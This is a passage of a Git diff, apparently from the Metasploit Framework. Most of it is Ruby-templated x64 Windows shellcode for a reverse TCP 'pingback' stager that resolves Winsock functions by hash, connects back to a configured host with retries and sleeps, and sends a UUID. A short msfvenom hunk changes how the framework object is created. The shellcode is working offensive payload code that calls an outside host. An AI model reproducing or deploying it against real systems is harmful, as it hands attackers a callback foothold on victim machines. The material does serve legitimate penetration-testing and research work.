mov r12, rsp ; save pointer to sockaddr struct for connect call
|
||||||
|
|
||||||
|
; perform the call to LoadLibraryA...
|
||||||
|
mov rcx, r14 ; set the param for the library to load
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||||
|
call rbp ; LoadLibraryA( "ws2_32" )
|
||||||
|
|
||||||
|
; perform the call to WSAStartup...
|
||||||
|
mov rdx, r13 ; second param is a pointer to this stuct
|
||||||
|
push 0x0101 ;
|
||||||
|
pop rcx ; set the param for the version requested
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||||
|
call rbp ; WSAStartup( 0x0101, &WSAData );
|
||||||
|
|
||||||
|
; stick the retry count on the stack and store it
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
pop r14
|
||||||
|
push #{pingback_count}
|
||||||
|
pop r15
|
||||||
|
|
||||||
|
create_socket:
|
||||||
|
; perform the call to WSASocketA...
|
||||||
|
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
|
||||||
|
push rax ; push null for reserved parameter
|
||||||
|
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
|
||||||
|
xor r8, r8 ; we do not specify a protocol
|
||||||
|
inc rax ;
|
||||||
|
mov rdx, rax ; push SOCK_STREAM
|
||||||
|
inc rax ;
|
||||||
|
mov rcx, rax ; push AF_INET
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||||
|
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||||
|
mov rdi, rax ; save the socket for later
|
||||||
|
|
||||||
|
try_connect:
|
||||||
|
; perform the call to connect...
|
||||||
|
push 16 ; length of the sockaddr struct
|
||||||
|
pop r8 ; pop off the third param
|
||||||
|
mov rdx, r12 ; set second param to pointer to sockaddr struct
|
||||||
|
mov rcx, rdi ; the socket
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||||
|
call rbp ; connect( s, &sockaddr, 16 );
|
||||||
|
|
||||||
|
test eax, eax ; non-zero means failure
|
||||||
|
jz connected
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
dec r14 ; decrement the retry count
|
||||||
|
jnz try_connect
|
||||||
|
dec r15
|
||||||
|
jmp close_socket
|
||||||
|
|
||||||
|
failure:
|
||||||
|
call exitfunk
|
||||||
|
|
||||||
|
; this lable is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
|
connected:
|
||||||
|
|
||||||
|
send_pingback:
|
||||||
|
xor r9, r9 ; flags
|
||||||
|
push #{uuid_as_db.split(",").length} ; length of the PINGBACK UUID
|
||||||
|
pop r8
|
||||||
|
call get_pingback_address ; put uuid buffer on the stack
|
||||||
|
db #{uuid_as_db} ; PINGBACK_UUID
|
||||||
|
|
||||||
|
get_pingback_address:
|
||||||
|
pop rdx ; PINGBACK UUID address
|
||||||
|
mov rcx, rdi ; Socket handle
|
||||||
|
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
|
||||||
|
call rbp ; call send
|
||||||
|
|
||||||
|
close_socket:
|
||||||
|
mov rcx, rdi ; Socket handle
|
||||||
|
mov r10, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||||
|
call rbp ; call closesocket
|
||||||
|
^
|
||||||
|
if pingback_count > 0
|
||||||
|
asm << %Q^
|
||||||
|
sleep:
|
||||||
|
test r15, r15 ; check pingback retry counter
|
||||||
|
jz exitfunk ; bail if we are at 0
|
||||||
|
dec r15 ;decrement the pingback retry counter
|
||||||
|
push #{(pingback_sleep * 1000)} ; 10 seconds
|
||||||
|
pop rcx ; set the sleep function parameter
|
||||||
|
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||||
|
call rbp ; Sleep()
|
||||||
|
jmp create_socket ; repeat callback
|
||||||
|
^
|
||||||
|
end
|
||||||
|
asm << %Q^
|
||||||
|
exitfunk:
|
||||||
|
pop rax ; won't be returning, realign the stack with a pop
|
||||||
|
push 0 ;
|
||||||
|
pop rcx ; set the exit function parameter
|
||||||
|
mov r10, 0x56a2b5f0
|
||||||
|
call rbp ; ExitProcess(0)
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
2
msfvenom
2
msfvenom
@ -43,7 +43,7 @@ def init_framework(create_opts={})
|
|||||||
type = Msf.const_get("MODULE_#{type.upcase}")
|
type = Msf.const_get("MODULE_#{type.upcase}")
|
||||||
end
|
end
|
||||||
|
|
||||||
@framework = ::Msf::Simple::Framework.create(create_opts.merge('DisableDatabase' => true))
|
@framework = ::Msf::Simple::Framework.create
|
||||||
end
|
end
|
||||||
|
|
||||||
# Cached framework object
|
# Cached framework object
|
||||||
|
Loading…
Reference in New Issue
Block a user